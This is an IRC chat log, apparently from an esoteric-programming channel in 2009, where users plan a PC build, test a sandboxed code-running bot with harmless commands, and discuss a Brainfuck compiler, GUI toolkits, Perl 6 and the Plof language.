ehird: Integrated memory controller? I've had one for 3 years, and it was old then. :p 01:31:10 so 01:31:17 pikhq: er, that's not what i meant 01:31:25 pikhq: "On-die memory controller: the memory is directly connected to the processor. It is called the uncore part and runs at a different clock (uncore clock) of execution cores. " 01:31:38 20-40% less memory latency has been reported 01:31:46 bsmntbombdood: "Cooling DeviceHeatsink and Fan included " 01:31:50 oh ok 01:31:53 from the spec page of the i7 01:32:03 And AMD's done that since they introduced AMD64. Your point? :p 01:32:11 pikhq: i'm not sure that's the same thing 01:32:32 eh, whatever 01:33:05 Wikipedia says it is. 01:33:13 hmm looks like the same thing; still what i've read puts the i7's memory access faster 01:33:40 I expect AMD will come out with an i7 competitor _sometime_ 01:33:46 but atm the i7 is the best choice imo 01:33:55 Can't say I blame Intel for doing it; it *is* a rather easy way to get better memory access speeds. 01:35:04 bsmntbombdood: if you do go with it will you go with the x25-m? i'd recommend it if you do have the $300 extra budget (hmm, I distinctly recall asking this before...) 01:35:48 i think i'll only get one hdd and the x25m 01:36:01 bsmntbombdood: yeah, that sounds wise 01:36:25 and i've got a 500gb drive laying around 01:37:02 bsmntbombdood: raid-1ing that will leave you with only 500gb of space 01:37:15 yes, i won't raid them 01:37:24 ah 01:37:31 Hmm. No wonder the i7's somewhat higher performance; it's the newer architecture. 01:37:43 pikhq: Durr, Nehalem's the whole point of an i7 :P 01:37:54 bsmntbombdood: newly calculated total inc. ssd: $1689.91 01:38:52 ehird: what makes you think that mobo is a good choice? 01:39:06 bsmntbombdood: first, I went with the stock Intel mobo for i7 01:39:07 BUT 01:39:10 then i realised it had only 3 ram slots 01:39:14 so I searched newegg 01:39:25 and that was a high-rated one that's the same as the intel one but w/ 6 ram slots 01:40:27 bsmntbombdood: they don't seem to have really changed the intel mobo apart from adding the more slots and sth 01:40:34 not many pci slots 01:40:42 bsmntbombdood: how many do you need? 01:40:53 ah 01:40:56 this one looks bette 01:40:57 r 01:41:07 hm wait 01:41:08 Cons: As noted in previous reviews, the BIOS needs an update out of box before you can install triple channel RAM. I loaded one stick of RAM and installed windows 01:41:16 that sounds silly 01:42:02 * ehird searches newegg for x58 01:42:08 bsmntbombdood: but how many pci slost are you gonna use? 01:42:25 i would like to play with some coproccesors in the future 01:42:38 tile64 etc 01:42:40 PCI Express 2.0 x16: 3 x PCIe 2.0 x16 (at x16/x16/x4 mode) 01:43:00 bsmntbombdood: http://www.newegg.com/Product/Product.aspx?Item=N82E16813131359 01:43:25 * ehird amends his spec document to include these 01:43:38 anyway i gotta go 01:43:41 bye 01:44:06 lawl 01:44:10 bsmntbombdood: the mobo actually saves money 01:45:18 bsmntbombdood: for when you return: http://pastie.org/467175.txt?key=ijtxvejybwknzzyr4yea 01:45:25 total $1679.91 01:49:24 My conclusion: You can build a top-top of the range PC (sans video card) for around $1.6k. 01:49:41 Or around £1,100. 01:53:13 And the video card isn't really worth it unless you're playing Crysis on 3 different monitors. 01:53:40 pikhq: Weeeeeeeeeeeeel, that GeForce 9400 GT seems rather the shit as far as cards you're actually gonna use goes. 01:53:49 It's just a stand-in for the missing on-board video on the mobo for this machine. 01:54:33 " it ran between 65 and 72 deg C" 01:54:34 hmm 01:54:39 i wonder if that's under large load 01:54:41 because that's a hot card 01:55:08 Eh, as far as graphics cards go, I'm not all that picky. 01:55:22 the reviews seem ok 01:55:41 heh 01:55:49 bsmntbombdood: the gfx card has an audio card built in 01:55:54 that apparently is better than onboard video 01:56:56 My current standards: able to handle Source engine games and able to render 1080p h264 in realtime. And the latter becomes "Can handle 1080p" if my CPU's fast enough to decode 1080p h264 in realtime... 01:57:21 My standards: Be the best fanless card you can get. 01:57:25 :-P 01:57:27 Futureproofing! 01:57:39 (atm that's the radeon hd 4850) 01:57:42 Completely different standards, but likely to get similar results. 01:57:56 pikhq: no way, the radeon 4850 can do much more than that 01:58:06 it's the third best single (non-X2) card ATI offer 01:58:08 True, true. 01:58:10 4850, 4870, 4890 01:58:23 i wish newegg had a uk version 01:58:33 I think it's the best card I could actually see myself bothering to purchase, though. 01:58:46 Much beyond that seems... Silly. 01:59:31 pikhq: Heck, even with the 4870X2 -- the best card ATI sells -- Crysis at 19xx-xxxx (I forget what the exact res is) with all settings on high or very high only runs at 20 or so fps 01:59:40 Games are wicked demanding 02:00:19 And I play games about a generation behind what's current. 02:00:41 So, it'll be another 5 years or so before I get around to playing Crysis. :p 02:01:08 Crysis kind of looks shit :P 02:01:31 Ah, but it's very expensive shit. 02:01:37 And you're thinking 1920x1080. 02:01:38 Verily. 02:01:41 And yes. 02:01:42 AKA 1080p. ;) 02:03:13 hmm 02:03:32 maybe i should build my own system, 'cept i hate thermal paste 02:04:17 → for today :) 02:04:18 Worth it. 02:04:23 pikhq: maybe, maybe 02:04:39 I'd prefer to pay more to get a silent system from people who know what they're doing in that area, prolly 02:04:39 → 02:04:46 I build my systems as a matter of habit... 02:05:11 Of course, I upgrade my systems piecemeal, so not exactly what you're dealing with. 02:05:27 * pikhq has a couple of 10 to 15 year old parts 02:16:54 -!- pikhq has quit (Read error: 104 (Connection reset by peer)). 02:17:58 -!- pikhq has joined. 02:30:58 -!- cherez has joined. 02:31:02 -!- cherez has left (?). 02:33:00 !c printf("hello\n"); 02:33:01 hello 02:34:06 -!- Gracenotes has joined. 02:46:43 -!- puzzlet has joined. 02:47:26 -!- puzzlet_ has quit (Remote closed the connection). 02:49:04 !c printf("addr of main %p\n", main); 02:49:05 addr of main 0x4004cc 02:49:08 !c printf("addr of main %p\n", main); 02:49:09 addr of main 0x4004cc 02:50:04 !c printf("addr of entry point %p\n", __start); 02:50:04 Does not compile. 02:50:22 Fik. Different entry point. XD 02:50:38 !c printf("addr of entry point %p\n", _start); 02:50:39 Does not compile. 02:50:39 ? 02:50:48 !c printf("addr of entry point %p\n", start); 02:50:49 Does not compile. 02:50:54 Sure I'll get it one of these days. 02:52:38 Huh. main *is* the entry point. 03:11:08 -!- puzzlet_ has joined. 03:24:10 -!- puzzlet has quit (Read error: 110 (Connection timed out)). 03:24:11 ehird: i forgot, i need an optical-disc drive also 03:27:25 OK, now I have to think of a way to fix the shared /tmp/input.* problem 03:35:48 !sh ls -l /tmp 03:35:49 /bin/ls: /tmp: Function not implemented 03:35:56 !sh ls /tmp | xargs echo 03:35:56 input.14903 03:35:58 !sh ls /tmp | xargs echo 03:35:59 input.14936 03:36:03 OK, no more shared /tmp 03:36:15 your shit's weird 03:36:45 ? 03:41:57 -!- Gracenotes has quit (Remote closed the connection). 03:41:58 -!- Gracenotes_ has joined. 03:42:00 -!- Gracenotes_ has changed nick to Gracenotes. 03:57:32 !sh ls /tmp 03:57:33 input.15061 03:57:40 !sh ls -l /tmp 03:57:40 /bin/ls: /tmp: Function not implemented 03:58:13 What the fnuck is it doing, I wonder... 03:59:47 ls stats or something, Idonno 04:00:04 ls -l that is 04:00:35 !daemon psh sh sh 04:00:35 Daemon psh running. 04:00:40 !psh echo hi 04:00:43 !psh echo hi 04:00:43 hi 04:00:47 !psh echo foo 04:00:47 hi 04:00:47 foo 04:00:52 That was weird :P 04:01:00 !psh echo foo 04:01:01 foo 04:05:04 !psh mkdir -v /tmp/home 04:05:04 /bin/mkdir: created directory `/tmp/home' 04:05:11 !psh cd -v /tmp/home 04:05:11 /bin/sh: line 6: cd: -v: invalid option 04:05:17 !psh cd /tmp/home; pwd 04:05:18 /tmp/home 04:05:25 !psh export HOME=/tmp/home 04:07:58 -!- bsmntbombdood has quit (Connection reset by peer). 04:08:33 -!- bsmntbombdood has joined. 04:09:12 !psh wget http://google.com/ 04:09:12 --2009-05-04 03:09:12-- http://google.com/ 04:09:13 Resolving google.com... failed: Name or service not known. 04:09:22 !kill psh 04:09:22 Daemon psh killed. 04:10:33 -!- bsmntbombdood has quit (Read error: 104 (Connection reset by peer)). 04:11:06 -!- bsmntbombdood has joined. 04:12:58 -!- bsmntbombdood has quit (Read error: 104 (Connection reset by peer)). 04:21:44 -!- bsmntbombdood has joined. 04:46:47 So, I guess I'm trying to find out where Firefox keeps its profiles under Windows. 04:56:34 somewhere in %userprofile%\Local Settings\Application Data\Mozilla\, iirc. 05:01:14 Correct. 05:02:12 Users/Fozzie/Local Settings is empty. 05:02:22 No, those forward slashes are not necessary. 05:03:16 This is Vista. 05:08:23 who uses windows anyway 05:09:35 I'm not using Windows right now; I want to share a profile between Windows and Linux. 05:33:01 -!- pikhq has changed nick to pikhq_. 05:33:11 -!- pikhq_ has changed nick to pikhq. 05:50:37 -!- bsmntbombdood_ has joined. 05:58:12 -!- bsmntbombdood has quit (Read error: 110 (Connection timed out)). 05:58:56 -!- bsmntbombdood_ has changed nick to bsmntbombdood. 06:01:29 Wow. YouTube under Linux here sounds really fun. 06:01:57 i don't have a problem with youtube 06:02:05 Good for you. 06:03:56 what did you mean then? 06:04:21 I meant that it sounds very slow and choppy. 06:04:33 I just recorded an hour-long audio file. It took a couple seconds. 06:05:02 how about other video websites 06:05:31 could be a problem with flash plugin 06:06:46 A problem that also exists with Sound Recorder? 06:07:26 Here, I'll click "record" again. 06:08:09 It says it's been recording for four hours. 06:08:27 no, tell me it's not the alsa problem again 06:08:56 This problem appears to be entirely distinct from the problem I had before. 06:09:11 Now it says it's been recording for ten hours. 06:09:18 Maybe some other people have had this same problem. 06:10:40 This is why I don't generally use Linux. 06:38:02 i haven't used windows for like 4 yearss 07:06:08 In my experience, the people who have the ever-dwindling set of hardware that Linux doesn't support are the people who think it has terrible hardware support :P 07:06:23 (Which is to say, that sounds like a problem with the sound driver) 07:34:29 you mean...the people who have problems with linux are the ones who have problems with linux? 07:39:26 -!- GreaseMonkey has joined. 07:59:59 -!- clog has quit (ended). 08:00:00 -!- clog has joined. 08:07:46 -!- lereah_ has joined. 08:12:19 -!- Deewiant has quit (Read error: 60 (Operation timed out)). 08:21:09 -!- fizzie has quit (Read error: 148 (No route to host)). 08:38:35 -!- Deewiant has joined. 08:53:11 -!- nooga has joined. 08:57:17 -!- WangZeDong has joined. 09:05:02 -!- puzzlet has joined. 09:14:33 -!- Slereah has quit (Read error: 110 (Connection timed out)). 09:17:38 -!- puzzlet_ has quit (Read error: 110 (Connection timed out)). 09:27:07 -!- nooga has quit (Read error: 104 (Connection reset by peer)). 09:57:49 -!- puzzlet_ has joined. 10:10:46 -!- puzzlet has quit (Read error: 110 (Connection timed out)). 10:25:43 -!- fizzie has joined. 10:31:14 -!- GreaseMonkey has quit ("YES -> thor-ainor.it <- THIS IS *DELICIOUS*!"). 10:38:03 -!- tombom has joined. 10:42:16 OK, now I have to think of a way to fix the shared /tmp/input.* problem 10:42:17 err 10:42:21 mkstemp 10:42:28 that avoids race conditions too 10:44:37 kerlo, what sound recorder? 10:44:41 audacity? 11:01:21 -!- calamous has quit ("Leaving"). 11:54:00 AnMaster: Gnome Sound Recorder. 11:54:15 no clue about that. Since I don't use Gnome 11:54:26 I would blame it on gnome probably 11:54:49 try audacity, it is a good sound recording and editing program. 11:56:21 * kerlo reboots under the alibi of figuring out where the Firefox profile resides 12:16:01 Success! 12:16:53 Windows still won't make any connections to the Internet, but I made a symbolic link from a Firefox profile on Linux to one on Windows, and it worked quite magically. 12:20:46 I just set the profile in Firefox to point to /mnt/... 12:33:58 why dual boot. The only reason I can think of is massive 3D games. 12:34:36 for most other windows only stuff you can usually use either wine or virtualbox/vmware-server/whatever 12:41:26 -!- impomatic has joined. 12:41:48 Hi -) 12:42:26 The #corewars channel will be moving to freenode if anyone is interested. 12:42:38 By the way, is anything happening with BF Joust? 13:44:29 -!- puzzlet has joined. 13:45:16 -!- puzzlet_ has quit (Remote closed the connection). 14:26:39 -!- tombom has quit (wolfe.freenode.net irc.freenode.net). 14:26:39 -!- EgoBot has quit (wolfe.freenode.net irc.freenode.net). 14:26:39 -!- Leonidas has quit (wolfe.freenode.net irc.freenode.net). 14:26:39 -!- comex has quit (wolfe.freenode.net irc.freenode.net). 14:26:39 -!- GregorR has quit (wolfe.freenode.net irc.freenode.net). 14:26:43 -!- tombom has joined. 14:26:43 -!- comex has joined. 14:26:43 -!- EgoBot has joined. 14:26:43 -!- Leonidas has joined. 14:26:43 -!- GregorR has joined. 15:03:33 -!- FireFly has joined. 15:06:38 -!- tombom has quit ("Peace and Protection 4.22.2"). 15:20:34 -!- Gracenotes has quit (Remote closed the connection). 15:22:02 -!- Gracenotes has joined. 15:27:48 -!- bsmntbombdood has quit (Read error: 104 (Connection reset by peer)). 15:48:04 -!- bsmntbombdood_ has joined. 15:57:43 -!- ais523 has joined. 16:08:55 hi bsmntbombdood_ 16:09:54 bsmntbombdood_: so optical drive eh 16:09:57 I'm sure i can do that :P 16:11:28 -!- lereah_ has quit (Remote closed the connection). 16:11:32 bsmntbombdood_: shall I throw in a floppy drive? some firmware upgrades still come on those. 16:11:48 Floppies are cheap... 16:12:03 duh 16:13:26 -!- Dewi has joined. 16:15:44 bsmntbombdood_: http://pastie.org/467702.txt?key=7xpp0vdnf1ukje2vbjdq 16:16:00 $1709.39, same as before but w/ dvd/cd-reader/writer and floppy drive 16:18:44 bsmntbombdood_: btw, graphics cards are useful for vector computation etc as well as just graphics... 16:19:10 -!- impomatic has quit (Read error: 110 (Connection timed out)). 16:23:29 !accumulate test 16:23:35 meh, what happened to it? 16:23:40 ais523: i did !accumulate junk 16:23:51 then AnMaster did !accumulate ehird being annoying again, or something 16:23:56 and we went at it for a few hours 16:23:58 or thereabouts 16:24:01 ah, ok 16:24:26 result: AnMaster's ignoring me, keeps saying I'm immature, ignores the fact that it was 50% him, and also that if we were arguing over junk it's obviously a topic we're discussing :D 16:24:28 a lot less than that. You killed it every time. 16:24:38 that ignore lasted a long time there AnMaster 16:24:41 ehird, GregorR made the bot ignore you too 16:24:46 a few hours perhaps 16:24:54 AnMaster: yes, to break the chain 16:30:39 "Ubuntu To Ship With Super Talent SSDs" ← I totally thought this meant that ubuntu cds would come with an ssd, not the otherway around 16:36:26 I killed daemons. 16:36:36 because there wasn't a decent use for them? 16:36:36 Because there was some issue with them leaving cruft behind I haven't resolved yet. 16:37:03 There's no decent use for most of what EgoBot supports, but I don't want a chicken with its head cut off taking 100% CPU on Codu :P 16:37:19 yep, makes sense 16:37:40 Anyway, they'll probably come back when I can fix some bugs. 16:37:48 Fair enough. 16:37:55 Don't kill Codu with Egobot. ;) 16:38:10 Or alternatively, if I can figure out a way to use chkpt to checkpoint between lines, then I can actually have daemons only run while in use. 16:40:54 -!- iano has joined. 17:08:41 -!- jix has joined. 17:08:49 ehird: if you are interested in esotope-bfc, it now supports exact loop counting for nontrivial deltas. 17:08:57 nice 17:09:02 example code/output? 17:09:11 http://pastie.org/private/4z2i9vo3y8kviwet42fma 17:09:42 i took that example from bfdb. 17:10:16 One of the most publicized changes in Windows Me, was that it no longer included real mode MS-DOS.[3] With real-mode support removed, Windows Me can boot up a couple of seconds faster, without loss of Windows functionality. Autoexec.bat and Config.sys are no longer executed during startup by IO.SYS, and the system cannot boot to a MS-DOS command prompt or exit to DOS when Windows has booted. Because of this, applications that needed real mode DOS to run, 17:10:18 such as older disk utilities, did not run under Windows Me. 17:10:20 err 17:10:22 if ((mptr[1]%2) != 0) { 17:10:24 lifthrasiir: that's hot. 17:10:26 is that really general? 17:10:32 yes. 17:10:43 ais523: take a look at that, it's awesome 17:10:52 lifthrasiir: congrats, your BF interp is the est 17:10:58 *best 17:11:00 *compiler 17:11:15 ehird: Uh, lies. Windows ME shipped with real mode MS-DOS. *However*,, it was not enabled by default. 17:11:17 not yet, i realized that generalization while looking at bfdb ;) 17:11:31 it translates every possible case of while(mptr[k]!=x) { ... mptr[k]+=delta; }. 17:11:40 pikhq: Source: WP 17:11:48 lifthrasiir: bfdb? 17:11:48 Wikipedia lies, then. 17:11:55 pikhq: I used ME :-P 17:12:04 http://djm.cc/dmoews.html FYI. 17:12:06 I turned on real-mode DOS in ME. 17:12:07 ;) 17:12:36 lifthrasiir: never heard of it 17:12:44 it needs a fix to compile in recent gcc, but it seems worth looking 17:12:48 I'd like to see how esotope-bfc.py handles gcc-bf output, actually 17:13:20 presumably it isn't yet good enough to deduce that I'm simulating a hardware stack and a stack of frame pointers? 17:13:39 Probably not. 17:13:40 it cannot handle array operations yet, and i think that is quite challenging 17:14:15 lifthrasiir: try compiling with clang, not gcc 17:14:17 anyway, if you are interested see http://hg.mearie.org/esotope/bfc/file/tip/esotope-bfc.py for recent version. 17:14:22 it may help 17:14:34 ehird: compile c++ code with clang? 17:14:37 is that stable? 17:14:43 that's not c++, lifthrasiir 17:14:44 I mean your output 17:14:51 but yes, clang's c/c++/obj-c support is mostly okay 17:14:55 ah i see. 17:16:54 in other news, it turns out that MS Office's new native ODF support is abysmal 17:17:03 for instance, it strips out formulas when loading spreadsheets 17:17:24 oh well, i should keep using openoffice. 17:18:07 openoffice is so bloated 17:18:19 17:17 ehird: Does clang/llvm do the optimization of changing some array positions into variables? like, {int x[2];x[0]=1;x[1]=2;return x[0]+x[1]} becoming {int x0,x1;x0=1;x1=2;return x0+x1} 17:18:20 17:18 sabre: yes 17:18:21 17:18 sabre: ehird: yes 17:18:23 17:18 ehird: sabre: yay! 17:18:26 lifthrasiir: yep, use clang. 17:18:41 excellent! 17:19:39 @openoffice.org users: try abiword & gnumeric :P 17:19:54 gnumeric's ODF support is also awful, I think 17:20:02 but then, it doesn't claim to do it correctly 17:20:07 it looks like they've only just started implementing it 17:20:14 true enough 17:20:16 I mostly meant abiword 17:20:22 but then I thought people might complain about spreadsheets 17:20:26 so i added gnumeric 17:20:52 ais523: openoffice is pretty bad though; it doesn't pick up fonts in ~/.fonts for instance IME 17:20:58 which is really irritating 17:21:06 bloody portability :) 17:21:16 openoffice manages to not follow the conventions on any system 17:21:21 the difference is, on Windows, I'm glad it doesn't 17:21:41 I always thought that openoffice was Java because it was so badly integrated... but Java is more integrated and less ugly! 17:21:42 ais523: agreed, especially for fonts. 17:21:48 I don't even know how they did it 17:21:56 openoffice is I suspect mostly written in Java 17:22:08 or by people who write in the same style, anywa 17:22:09 *anyway 17:22:12 well, it's a Sun project 17:22:14 so yes 17:22:18 yes 17:22:19 but it doesn't use Swing 17:22:23 and I don't think it uses SWT 17:22:29 *AWT? 17:22:30 or if it does use either, it hacks them weirdly 17:22:32 ais523: no, SWT 17:22:34 it's what eclipse uses 17:22:37 AWT is deprecated 17:22:45 oh, I like AWT anyway, though 17:22:53 beats swing 17:22:54 it's easily the best of the windowing systems Java has come up with so far 17:22:59 that I nkow of 17:23:00 *know of 17:23:08 AWT = Java is a programming language 17:23:10 Swing = Java is an OS 17:23:28 personally I think treating Java as a programming language makes more sense 17:23:57 ais523: you can make swing use native widgets 17:24:01 not native text rendering, though 17:24:45 native-widget swing would be an improvement, certainly 17:24:46 I did a bit of SWT once; it wasn't too shabby. It's pretty much just a wrapper for native GUI toolkits over JNI; except of course using the SWT abstractions. 17:24:48 how is it achieved? 17:24:56 ais523: JNI 17:24:59 that's java's c ffi 17:25:06 well, not much of an ffi, you have to tailor your code to it 17:25:08 -!- jix has quit (Remote closed the connection). 17:25:11 c extension interface 17:25:24 well, not specifically C 17:25:29 but it'd be a pain to use anything else 17:25:37 -!- jix has joined. 17:25:39 it has some c++ stuff i think though 17:26:01 someone link Java to Befunge-98 via C and INTERCAL 17:26:03 to hell with portable GUI libs, anyway 17:26:04 you know you want to 17:26:06 Yes, in C++ code you can pretend you're calling Java classes, or something. 17:26:08 you can't automate UI guidelines 17:26:24 you need to have a separate UI for each platform if you want to have a good UI 17:26:53 the Gnome/KDE mirrorflip is one of the most annoying things about that 17:27:15 ais523: gnome/kde's minor compared to anything_on_linux vs OS X 17:27:22 you basically have to completely forget your other UI to go either way 17:27:31 i get using a portable toolkit if you just want something that works 17:27:43 but just use Tk or something; that's really easy to use, it's pig ugly most of the time though 17:27:48 really? the most annoying thing for me when I had to use OS X on someone else's laptop for a bit was muddling the apple and control keys 17:27:50 but that doesn't matter if you just want something that works 17:27:53 and the lack of pgup/pgdn 17:27:57 as a separate key 17:27:57 It integrates well with everything but Linux. 17:28:02 pikhq: nope 17:28:05 tk is horrid on os x 17:28:07 it's fine on windows 17:28:12 so it was really keyboard layout confusion, rather than anything to do with the UI itself 17:28:19 ais523: for the user, there may not be much difference at first sight 17:28:25 Hrm, last time I used Tk on OS X, it looked like native widgets... 17:28:26 but the philosophy is massively different 17:28:30 pikhq: yes, to a degree 17:28:38 but half-heartedly doing something on OS X is a bit laughable 17:28:52 they pretty much only get buttons and checkboxes right 17:29:04 and integration goes far further than how the widgets look anyway 17:29:20 Hrm. Either I used some odd OS X-only fork, or it's gone downhill over time. 17:29:37 Because I remember it being, well, native. 17:29:38 pikhq: Or you're not an obsessive-compulsive OS X user (redundant) that notices things :-) 17:29:48 For instance, it uses a white background and the window has no padding by default. 17:29:56 And text boxes are totally non-native 17:30:01 I'm picky about things looking right. ;) 17:30:03 I suspect it of merely rendering things that look like native widgets 17:30:07 for me, it's not widget look that matters, but behaviour 17:30:08 not actually using them 17:30:14 ais523: yep, tk gets both wrong 17:30:22 e.g. on Gnome I can right-click on a scrollbar tab to scroll to the other end 17:30:32 that doesn't work anywhere else I've tried, but it's really useful 17:30:38 I *distinctly* remember a pinstripe background (it was old OS X). 17:30:42 (as in, if I right-click on scroll-up, it scrolls ot the top) 17:30:47 pikhq: Hm, maybe. 17:32:44 It was some "Tcl/Tk Aqua" with batteries included Tcl distribution. Probably some fork to make it act right, then. 17:37:27 Nah, it's in mainline, must just have fallen behind 17:37:31 Or at least, it comes with OS X 17:41:02 haha 17:41:19 you know how in C, if you allocate a variable, it isn't initialized and you get whatever happens to be in memory at the time? 17:41:27 you can do that in Perl6 too, but you have to request it explicitly 17:41:33 HAH 17:41:37 That = awesomely bad 17:41:44 You can do that in D too 17:41:50 Explicitly, that is 17:41:51 is it the default, though? 17:41:56 No, not the default 17:42:01 No, in D you get zero'd stuff. 17:42:10 By default integers are zero, floats are nan, chars are all-bits-1 17:42:54 0xFE? That's an odd choice. 17:42:57 I do like the idea of lazy exceptions, though 17:43:04 and all-bits-1 = 0xFF 17:43:05 pikhq: 0xff 17:43:13 ais523: That's all bits. 17:43:22 pikhq: "All bits one" 17:43:29 not "all bits but one one" 17:43:35 I read that as all bits minus one. 17:43:45 I don't understand how "all bits" means a numeric value :-P 17:43:48 Okay, 0xFF is slightly less odd. 17:44:01 (I'd just go with 0x00, myself) 17:44:05 0xffff for UTF-16 17:44:08 So 255 is "less odd" than 254? Odd definition for odd. 17:44:13 Possibly 0xffffffff for UTF-32 17:44:29 fizzie: 254 just seems arbitrary. 17:44:34 But even. 17:44:42 the idea behind lazy exceptions is that if something goes wrong when calling a function, it returns a return value that throws an exception if you try to use it 17:45:06 but you can look at it to see if it's a genuine return value or a lazy exception 17:45:27 -!- jix has quit (Success). 17:45:39 I wonder what Perl 6 would look like if you chopped off the sigils and the semicolons. 17:45:43 I bet Plof. 17:45:52 Now to try it. 17:45:55 Perl 6 has both sigils and twigils, though 17:46:03 Well, fuck them too, whatever they are 17:46:09 with the result that it would be hideously ambiguous if you chopped the sigils off 17:46:11 ehird: Not quite. 17:46:15 a twigil is sort of a sigil for a sigil 17:46:28 Vaguely close, though. 17:46:36 Sounds like insanity to me 17:46:43 Perl 6 is pretty shit 17:46:50 Deewiant: So how does a non-initialized variable declaration look like? 17:47:01 as in, $var is a scalar variable, $.var is a scalar property of a class 17:47:09 fizzie: variable = void; 17:47:19 ehird: Perl6 is just even further into the realms of perlness than perl5, I rather like it 17:47:55 Perl 6: http://svn.perl.org/perl6/pugs/trunk/examples/life.pl 17:47:57 Ploferl 6: http://pastie.org/467798.txt?key=i3fnmc5yygtz8yly0k1zq 17:49:23 I don't think it's all that Ploflike. 17:49:38 Though I'm sure it could be implemented in PSL. 17:49:46 pikhq: It's not too far off 17:50:04 Vaguely similar. 17:50:06 that is insanely similar, of course 17:50:15 except, I suspect various other bits of Perl6 wouldn't translate 17:50:30 17:50 pikhq: Vaguely similar. 17:50:30 17:50 ais523: that is insanely similar, of course 17:50:31 lawl 17:50:36 that seems to have been using just the Perl5y bits 17:50:49 that's because most of the perl 6 bits are useless 17:50:57 what's Plof's OO like? 17:51:01 what are its regexps like? 17:51:08 Plof's OO is, uh, Javascript. 17:51:15 Its regexps are PCRE. 17:51:20 But you can only have them in the bnf declaration thing. 17:51:20 so really rather different, then 17:51:22 For now. 17:51:26 Plof's OO is basically the Javascript method done better. 17:51:34 Er, pikhq, it barely differs. 17:51:37 Apart from removing constructors. 17:51:53 Still better. 17:52:26 Also, there's PCRE bindings for Plof. 17:52:42 See: c_pcre.plof 17:52:57 does Plof have typed variables? 17:53:18 Erm. That's not done yet. 17:53:32 ais523, the type system consists of the object system. 17:53:46 Variables are untyped. 17:53:49 my guess is that Plof will model a subset of Perl6 17:54:00 actually, fwiw, /every language in existence/ will model a subset of Perl6 17:55:33 plofbnf { top = /flimble/ => plof { print("Flimble!\n") } } 17:56:02 lifthrasiir: how is clang working? 17:56:09 -!- Hiato has joined. 17:56:18 i was working on other optimization passes. 17:56:23 ais523: no, perl 6 misses a lot of things 17:56:24 lifthrasiir: ah 17:56:36 lifthrasiir: i'm upset because i can't think of a way to improve on what you're doing :-) 17:57:16 my Cat|Dog Fish $mitsy = new Fish but { Bool.pick ?? .does Cat !! .does Dog }; 17:57:32 MORE SYNTAX! MOOOOOOOOAR SYNTAX! 17:57:37 SYNTAX SOLVE EVERYTHING! 17:58:04 * pikhq can add that to Plof 17:58:17 ehird: it only performs a basic optimization. it even didn't remove codes after infinite loop... :S 17:58:29 i just implemented that and pushed to hg repo. 17:58:37 actually, fwiw, /every language in existence/ will model a subset of Perl6 <-- so true... 17:58:37 lifthrasiir: it's the most anything does atm 17:58:57 turning things into expressions, polynomials, for loops 17:59:14 my Cat|Dog Fish $mitsy = new Fish but { Bool.pick ?? .does Cat !! .does Dog }; <-- what does it do... 17:59:45 AnMaster: it's a variable that's both a fish and a (cat xor dog) 17:59:53 ... 17:59:57 heh 18:00:03 you know. like in real life 18:00:05 so what does ".does"? :S 18:00:17 lifthrasiir: "I implement this interface" I think 18:00:21 to be precise, it generates a Fish, then makes a copy of it with either catness or dogness applies, at random 18:00:32 augh 18:00:33 hahahah 18:00:37 ehird: .does is an abbreviation for $_.does 18:00:42 ehird: hmm. 18:00:46 *catness or dogness apllied 18:00:47 *applied 18:00:48 ais523: that's just awful 18:00:59 ehird: we were discussing "true but false" earlier 18:01:05 ais523, sorry, but this is *worse* than intercal 18:01:11 AnMaster: no, it's not 18:01:13 which in Perl6, is a scalar value identical to true, apart from being false 18:01:16 i thoroughly read perl 6 specs a year ago, but cannot think of it. heck. 18:01:17 if you think that you don't know intercal :) 18:01:19 ais523: :D 18:01:20 ehird, this specific aspect of it at least. 18:01:30 so how about comefrom? 18:01:39 which in Perl6, is a scalar value identical to true, apart from being false <-- err.. what 18:01:41 you can probably implement comefrom in perl 18:01:45 AnMaster: boolean value 18:01:50 object True is true as a boolean 18:01:51 yes 18:01:53 object False is false as a boolean 18:01:55 object 3 is true as a boolean 18:01:59 hm 18:02:04 (true but false) is an object identical to True, but it's false as a boolean 18:02:07 doesn't seem too bad. 18:02:14 yeah, it's just an edge-case 18:02:16 ah... that bit was bad 18:02:20 I added return stack access to my False variant 18:02:24 "but" 18:02:27 what does that do 18:02:32 AnMaster: makes a modified copy 18:02:36 AnMaster: (3 but false) is an object identical to 3 but false as a boolean 18:02:38 oh god 18:02:46 for better stack access and custom control structures 18:02:47 that's different in some way, to do with properties or roles or traits or whatever 18:02:48 it makes perfect sense... 18:03:00 iano: it may be TC 18:03:01 like that 18:03:13 it depends on what sort of access 18:03:14 ehird: exactly 18:03:23 ehird, So 3 is an object representing 3, but booleans are not objects? 18:03:28 or did I misunderstand you 18:03:33 AnMaster: you misunderstand me 18:03:38 ah 18:03:40 In Plof: (var tmp = new(True);tmp.ifTrue = Bool.ifTrue;tmp.ifFalse = False.ifFalse;) 18:03:41 what booleanity an object has is an aspect of it 18:03:48 right 18:03:52 True is an object which has nothing other than booleanity-true 18:03:56 False vise-versa 18:04:05 Hrm. 18:04:07 So (true but false) is True but with booleanity-false 18:04:19 Takes a bit more work than that; no opOr, opAnd, or opNot. 18:04:22 ehird, what about primitive datatypes. Do they exist, or is everything an object. 18:04:23 this is rather useless, ofc 18:04:29 atm, I'm trying to work out what (true but false) stringifies as 18:04:37 AnMaster: i think everything's an object, apart from the array/scalar/hash distinction; ask ai 18:04:38 ais523: 18:04:46 ais523: TIAS? 18:04:47 fair enough 18:04:49 it depends on whether true has its stringification as "true" bundled with it, or whether it's calculated automatically from its truth 18:05:07 ehird: actually, in Perl6 everything can be treated as an object or as a nonobject 18:05:07 LOL, Jeff Atwood uses a password in the dictionary 18:05:10 it does autoboxing 18:05:11 His idiocy is unbounded 18:05:29 to the extent that it's rather difficult to tell if anything is boxed or not at any given moment 18:05:54 ehird, who 18:05:59 AnMaster: exactly 18:06:13 Jeff Atwood is a retarded microsoft drone who has a shitty blog where he is a moron extraordinaire. 18:06:18 isn't Jeff Atwood that Microsoft fan who spends all his time trying to be famous? 18:06:19 He owns stack overflow with Joel Spolsky. 18:06:19 ah 18:06:23 ouch 18:06:41 Joel Spolsky's an idiot but he's said some clever things in his time... Jeff Atwood, uh, not so much. 18:06:49 In Plof: (var tmp = new(True);tmp.ifTrue = Bool.ifTrue;tmp.ifFalse = False.ifFalse;tmp.opAnd = False.opAnd;tmp opOr = False.opOr;tmp opNot = False.opNot;) 18:06:53 He said it wasn't "really" a dictionary password 18:07:05 Deewiant: Yeah it was one of those non-dictionary dictionary passwords 18:07:06 -!- tombom has joined. 18:07:11 I like how he calls people dummies in the same sentence 18:07:18 Real smart there today Atwood 18:07:25 Or, to make that an operator: 18:07:37 beh, 